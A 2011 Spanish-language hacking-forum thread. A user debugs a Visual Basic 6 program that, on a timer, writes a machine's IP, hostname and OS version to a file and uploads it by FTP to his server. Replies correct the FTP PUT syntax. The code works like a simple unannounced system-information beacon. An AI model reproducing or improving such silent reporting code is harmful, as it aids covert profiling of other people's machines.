elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  No me copia (o eso creo) el archivo
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: No me copia (o eso creo) el archivo  (Leído 2,286 veces)
Nitch

Desconectado Desconectado

Mensajes: 34



Ver Perfil
No me copia (o eso creo) el archivo
« en: 21 Noviembre 2011, 18:56 pm »

Hola, Vereis he echo un programilla en visual basic 6 que consiste en a traves de un archivo de texto, te envie por ftp la IP del host, la version del SO etc.. La cuestion esque cuando inicio el programa, empieza la cuenta, y al llegar a 1, se me conecta al servidor ftp para supuestamente enviarme el txt con los datos del host remoto, pero no aparece el archivo, y en el servidor ftp me sale como que estoy conectado. Es decir, me ejecuta perfectamente el programa, pero a la hora de pasarme el archivo, pues no lo hace.
Pongo el codigo para ver si el problema viene de ahi, pero no creo.
Código
  1. Dim Ti
  2.  
  3. Private Sub Form_Load()
  4. Ti = 0
  5. Timer1.Interval = 1000
  6. End Sub
  7.  
  8. Private Sub incremento_Click()
  9. Ti = Ti + 1
  10. inicio.Caption = Ti
  11. Open ("prueba.txt") For Output As #1
  12. Print #1, "IP: ", Winsock1.LocalIP
  13. Print #1, "Nombre Host: ", Winsock1.LocalHostName
  14. Print #1, "S.O --> ", SysInfo1.OSPlatform
  15. Print #1, "Version --> ", SysInfo1.OSVersion
  16. Print #1, Date, " -----> ", Time
  17. Close #1
  18. Inet1.Execute "ftp://userass@ipuerto", "PUT prueba.txt" & Winsock1.LocalHostName & ".txt"
  19.  
  20. End Sub
  21.  
  22. Private Sub Timer1_Timer()
  23. Call incremento_Click
  24. End Sub
  25.  

Tengo que decir que los dos pc's, tanto el de donde he heco el programa como donde tengo el servidor ftp, los tengo en LAN, es como mi pc de pruebas.
Gracias, y el problema es ese, que no logro localizar el archivo



donde sale la URL no se que le ha pasado, el programa esta puesto con este formato:
 ftp : // user : pass @ ip : puerto
las he puesto con espacios que sino me hace cosas raras xd


« Última modificación: 22 Noviembre 2011, 02:18 am por raul338 » En línea

Elemental Code


Desconectado Desconectado

Mensajes: 622


Im beyond the system


Ver Perfil
Re: No me copia (o eso creo) el archivo
« Respuesta #1 en: 22 Noviembre 2011, 01:57 am »

donde sale la URL no se que le ha pasado, el programa esta puesto con este formato:
 ftp : // user : pass @ ip : puerto
las he puesto con espacios que sino me hace cosas raras xd

es

Código:
FTP://TUSUARIOACA:TUPASSWORDACA@TUFTPACA:PUERTOOPCIONAL

el puerto default es 21


En línea

I CODE FOR $$$
Programo por $$$
Hago tareas, trabajos para la facultad, lo que sea en VB6.0

Mis programas
BlackZeroX
Wiki

Desconectado Desconectado

Mensajes: 3.158


I'Love...!¡.


Ver Perfil WWW
Re: No me copia (o eso creo) el archivo
« Respuesta #2 en: 22 Noviembre 2011, 02:14 am »

donde sale la URL no se que le ha pasado, el programa esta puesto con este formato:
 ftp : // user : pass @ ip : puerto
las he puesto con espacios que sino me hace cosas raras xd

En efecto esa es la sintaxis correcta, pero la de PUT es distinta...

put archivo_local [archivo_remoto]

lleva un ESPACIO entre los dos archivos... ahora si el archivo_local o el archivo_remoto tienen espacios, entonces se ponen entre comillas...

por ejemplo:

put "c:\hola mundo.txt" "cagada mundial de teresa.doc"

Revisate esta URL: http://colposfesz.galeon.com/ftp.htm

Código
  1.  
  2. Inet1.Execute "f tp://userass@ipuerto", "PUT prueba.txt" & Winsock1.LocalHostName & ".txt"
  3.  
  4.  

prueba asi

Código
  1.  
  2. dim sFile1 as string
  3. dim sFile2 as string
  4.  
  5. sfile1= "Archivo1.txt"
  6. sfile2= "Archivo2.txt"
  7. Inet1.Execute "f tp://userass@ipuerto", "PUT " & chr(34) & sFile1 & chr(34) & " " & chr(34) & sFile2 & chr(34)
  8.  
  9.  

Donde esta f tp juntalo como veras este mendigo foro hace TONTERIAS con las url.

Dulces Lunas!¡.
« Última modificación: 22 Noviembre 2011, 02:21 am por BlackZeroX (Astaroth) » En línea

The Dark Shadow is my passion.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Copiar y ocultar la copia de un archivo
Programación Visual Basic
Snort 4 2,112 Último mensaje 24 Octubre 2006, 07:11 am
por MORFEO_2
Enviar copia archivo por correo!
.NET (C#, VB.NET, ASP)
chacKos 4 4,085 Último mensaje 15 Marzo 2010, 23:28 pm
por chacKos
Ayuda con un copia de archivo de dvr
GNU/Linux
marrison 3 3,347 Último mensaje 24 Febrero 2014, 14:17 pm
por marrison
como creo un archivo en usb con vbs?[Resuelto]
Scripting
Dekethxd 2 2,564 Último mensaje 1 Agosto 2016, 12:22 pm
por Dekethxd
se copia el archivo en blanco
Seguridad
galo20 2 5,708 Último mensaje 19 Mayo 2022, 00:27 am
por Serapis
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines